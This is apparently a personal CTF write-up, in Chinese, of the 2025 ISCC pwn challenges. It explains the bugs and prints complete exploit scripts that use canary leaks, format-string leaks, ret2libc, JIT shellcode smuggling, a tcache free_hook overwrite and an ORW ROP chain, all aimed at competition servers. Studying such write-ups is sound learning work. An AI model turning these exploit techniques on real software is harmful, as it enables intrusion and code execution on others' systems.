前言
去年个人赛报名了忘记打了(笑), 所以这应该算是我第一次参加ISCC, 体验也是差到没边了
主办方也是非常幽默,pwn和web都是公用容器,那web最后都被当成玩具玩坏了
下面是这次练武题pwn方向所有附件
通过网盘分享的文件:2025ISCC练武赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1aDBEOZ4XESb6yfCrCI5Wgg?pwd=xidp 提取码: xidp
解出
genius

先后输入 no
和 thanks
最终进入 function3函数
中,这里存在两个溢出,一个是 read溢出
,一个是 gets溢出

我们注意到read溢出下面有一个pritnf输出,所以我们可以通过read来覆盖掉canary结尾的\x00
使得canary被pritnf输出,然后再利用gets溢出打ROP,注意程序已经为我们提供了 backdoor

完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from xidp import *
arch = 64 elf_os = 'linux'
challenge = "./pwn" libc_path = '' ip = '101.200.155.151:12000'
link = 1 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0)
cmd = """ set follow-fork-mode parent\n """
bps = []
back_door = 0x004011A6 ret = 0x000000000040101a io.sendline("no") io.sendline("thanks") payload = cyclic(0x18) io.sendline(payload) io.recvuntil(b'faaa')
canary = u64(io.recv(8))-0xa leak("canary")
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(ret) + p64(back_door)
io.sendline(payload) ia()
|

Fufu

选择1,利用整数溢出绕过检查,获得 格式化字符串
和 read溢出
,利用 格式化字符串
获得 程序基地址
,libc地址
, canary的值
,然后正常打ROP即可

完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from xidp import *
arch = 64 elf_os = 'linux'
challenge = "./pwn" libc_path = '/lib/x86_64-linux-gnu/libc.so.6' ip = '101.200.155.151:12600'
link = 1 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)
cmd = """ set follow-fork-mode parent\n """
bps = [0x01237]
sdla(b"Furina: Your choice? >> ", b"1") sdla(b"Furina: Time is limited! >> ", str(429496730)) rcu("Furina: Present your evidence! >> ")
payload = b"%11$p_%17$p_%25$p" sdl(payload)
rcu("0x") puts_addr = int(io.recv(12), 16) - 346 rcu("0x") canary = int(io.recv(16), 16) rcu("0x") main_addr = int(io.recv(12), 16) leak("puts_addr") leak("canary") leak("main_addr") elf_base = main_addr - 0x1338 leak("elf_base")
libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")
pop_rdi_ret = elf_base + 0x000000000000132f ret = elf_base + 0x000000000000101a
payload = p64(canary) * 11 payload += p64(pop_rdi_ret) payload += p64(binsh) payload += p64(ret) payload += p64(system)
sdla(b"hcy want to eat chicken! >> ", payload)
ia()
|

mutsumi

整个程序主要分为三个流程,在main函数
中按照固定格式不断读取数据,在mutsumi_jit函数
中堆读取的数据进行分析,最后run_vm函数
会跳转到0x114000(存放解析后指令的地址执行程序)
固定的格式有三种:
第一种在漏洞利用中没有用到
第二种就是按照这个格式输入数字,最后这个数字会被存在堆中,在程序停止接收输入后进入到mutsumi_jit函数函数后会被解析为对应的jmp指令
第三种就是告诉程序停止接收输入,注意第三种开头必须是saki否则程序会强制退出,具体如下

题目的漏洞点在 main -> mutsumi_jit -> imm2asm
这个函数中

简单来说这个程序就是 imm2asm(number, &len)
如果 number > 255
那么就返回 jmp number
如果 number < 255
那么就返回 jmp rip+number
那么我们的利用方法是这样的
我们先输入一个 1
那么得到 jmp rip+1
然后输入我们想要的指令的字节码(必须是4字节,不为四字节用\x90补齐) 得到 jmp xxxxx(我们的指令)
由于rip是指向下一条指令的地址,那么rip+1就是下一条指令去掉第一个开头的指令,也就是去掉了jmp的指令,那么就变成了我们输入的指令
我们可以使用gdb调试
和pwndbg的x/50i 指令
来验证
将程序运行此处,查看执行的汇编代码

查看我们输入的内容

从这里我们就可以看到 我们0x114003的下面本该是从0x114005开始执行,但是却跳到了0x114006
如何就导致这个指令从jmp xxxx
变成了xor al,0x3b;
由此我们可以实现我们的ret2syscall
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from xidp import *
arch = 64 elf_os = 'linux'
challenge = "./pwn" libc_path = '' ip = '101.200.155.151:12800'
link = 1 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)
cmd = """ set follow-fork-mode parent\n """
bps = [0x0156B]
def send_cmd(payload): io.sendline(b'xidp,ido') io.sendline(payload)
def bytes_to_int_encoder(bytes): return str(struct.unpack('<I', bytes)[0])
code_fragments = [ b"\x34\x3b\x90\x90", b"\x48\x31\xf6\x90", b"\x48\x31\xd2\x90", b"\x66\xbb\x73\x68", b"\x48\xc1\xe3\x10", b"\x66\xbb\x6e\x2f", b"\x48\xc1\xe3\x10", b"\x66\xbb\x62\x69", b"\x48\xc1\xe3\x08", b"\x66\xbb\x2f\x62", b"\x53\x90\x90\x90", b"\x89\xe7\x90\x90", b"\x0f\x05\x90\x90", ]
for code_segment in code_fragments: send_cmd(payload = b"1") send_cmd(payload = bytes_to_int_encoder(code_segment))
io.sendline(b'saki,stop')
ia()
|

program

一个基础入门的堆题,所使用的版本为 Ubuntu GLIBC 2.31-0ubuntu9.17

程序同时存在 UAF
和 堆溢出
两个漏洞,但是由于libc版本不高,我做的时候发现了UAF就直接开始打了,只用了UAF就做出来了,没用用到堆溢出
大致思路就是攻击 tcachebin
使用了 house of botcake
的攻击手法,修改 tcachebin
的 next指针
为 free_hook
,修改 free_hook
为 system_addr
然后找一个 chunk
写入 /bin/sh
字符串,然后 free
这个 chunk
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from xidp import *
arch = 64 elf_os = 'linux'
challenge = "./pwn" libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so' ip = '101.200.155.151:12300'
link = 1 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)
cmd = """ set follow-fork-mode parent\n x/30gx 0x4040C0\n """
bps = []
menu = "choice:\n" def add(idx, size): sdla(menu, str(1)) sdla("index:\n", str(idx)) sdla("size:\n", str(size))
def free(idx): sdla(menu, str(2)) sdla("index:\n", str(idx))
def edit(idx, lenth, content): sdla(menu, str(3)) sdla("index:\n", str(idx)) sdla("length:\n", str(lenth)) sda("content:\n", content)
def show(idx): sdla(menu, str(4)) sdla("index:\n", str(idx))
for i in range(0, 9): add(i, 0x100)
add(9, 0x20)
for i in range(0, 9): free(i)
add(10, 0x30) show(10) libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ECDF0 leak("libc_base", libc_base) free_hook = libc_base + libc.symbols['__free_hook'] malloc_hook = libc_base + libc.symbols['__malloc_hook'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) system = libc_base + libc.symbols['system'] leak("free_hook", free_hook) leak("malloc_hook", malloc_hook) leak("binsh", binsh) leak("system", system) add(11, 0x100) free(8) add(12, 0x1d0) payload = p64(0)*(2*12) payload += p64(0x110) + p64(0x110) payload += p64(free_hook) edit(12, 0x100, payload) edit(2, 0x100, b"/bin/sh\x00") add(13, 0x100) add(14, 0x100) edit(14, 0x100, p64(system))
free(2)
ia()
|
远程有点怪,我明明打的shell,但是远程直接就输出flag给我了

Dilemma

程序开启了沙箱保护

func_1函数中先 格式化字符串
后 read溢出
,但read溢出量不够我们打ORW

func_0函数中 先 read溢出
后 格式化字符串
, 这里格式化字符串不好利用,但是read溢出量足够大

所以我的思路是先利用 func_1中的格式化字符串漏洞泄露canary和栈地址,并且利用其中的read溢出转移到func_0中
随后利用func_0中的read溢出构造puts泄露libc地址,然后再次返回func_0,构造ROP,打ORW
这里有人就要问了,诶,为什么第一次格式化字符串不直接泄露libc地址呢,而是需要在第二次中利用puts来泄露libc地址呢
理由很简单啊,下面是我本地调用call printf
的时候栈内存的情况,我做的时候头都晕了,下面哪个可以用来泄露libc地址我一时间都想不起来,(那个__libc_start_call_main+128不行吗?也许是可以的,但是我不喜欢),头一热我感觉构造个puts也不麻烦,然后我就这样做了,现在想起来我构造了那么一大段真是勤劳的小蜜蜂

然后利用puts泄露了read地址,puts地址,printf地址,然后放到网站里面查找得到远程libc为libc6_2.35-0ubuntu3.8_amd64.so
网址: libc-database

应该还有更方便的方法直接泄露libc_base,然后打ORW的那种,但是我已经不想去研究了
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from xidp import *
arch = 64 elf_os = 'linux'
challenge = "./pwn"
libc_path = './libc6_2.35-0ubuntu3.8_amd64.so' ip = '101.200.155.151:12500'
link = 1 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0)
cmd = """ set follow-fork-mode parent\n """
bps = [0x040129B]
func1_addr = 0x0401235 func2_addr = 0x04011A3 pop_rdi_ret = 0x000000000040119a leave_ret = 0x0000000000401233 ret = 0x000000000040101a bss_addr = 0x0404080 + 0x300 puts_got = elf.got["puts"] printf_got = elf.got["printf"] read_got = elf.got["read"] puts_got = elf.got["puts"] puts_got = elf.got["puts"] puts_plt = elf.plt["puts"]
sdla("where are you go?\n", str(1))
pwndbg(0, bps, cmd)
payload = "%15$p_%9$p" sdla("Enter you password:\n", payload) rcu("0x") canary = int(io.recv(16), 16) leak("canary") rcu("0x") stack_addr = int(io.recv(12), 16) leak("stack_addr") flag_addr = stack_addr - 32 leak("flag_addr") payload = cyclic(40) payload += p64(canary) payload += p64(0) payload += p64(ret) payload += p64(func2_addr) sdla("I will check your password:\n", payload)
payload = cyclic(40) payload += p64(canary) payload += p64(0) payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(func2_addr) sdla("We have a lot to talk about\n", payload)
rcu("To find life in the face of death") rc(41) puts_addr = uu64() leak("puts_addr")
libc_base = puts_addr - libc.symbols["puts"] open_addr = libc_base + libc.symbols["open"] read_addr = libc_base + libc.symbols["read"] write_addr = libc_base + libc.symbols["write"]
pop_rsi_ret = libc_base + 0x0000000000141d5e pop_rdx_r_ret = libc_base + 0x000000000011f2e7
leak("libc_base") leak("open_addr") leak("read_addr") leak("write_addr") payload = b"flag.txt" payload = payload.ljust(40, b'\x00') payload += p64(canary) payload += p64(0) payload += p64(pop_rdi_ret) payload += p64(flag_addr) payload += p64(pop_rsi_ret) payload += p64(0) payload += p64(open_addr) payload += p64(pop_rdi_ret) payload += p64(3) payload += p64(pop_rsi_ret) payload += p64(bss_addr) payload += p64(pop_rdx_r_ret) payload += p64(0xff) payload += p64(0) payload += p64(read_addr)
payload += p64(pop_rdi_ret) payload += p64(1) payload += p64(pop_rsi_ret) payload += p64(bss_addr) payload += p64(write_addr)
put(len(payload))
sdla("We have a lot to talk about\n", payload)
ia()
|

未解出
easybee

真是不会哈,最后咋900来解?水平还是太差了,还要继续努力,求个会内核的师傅带带。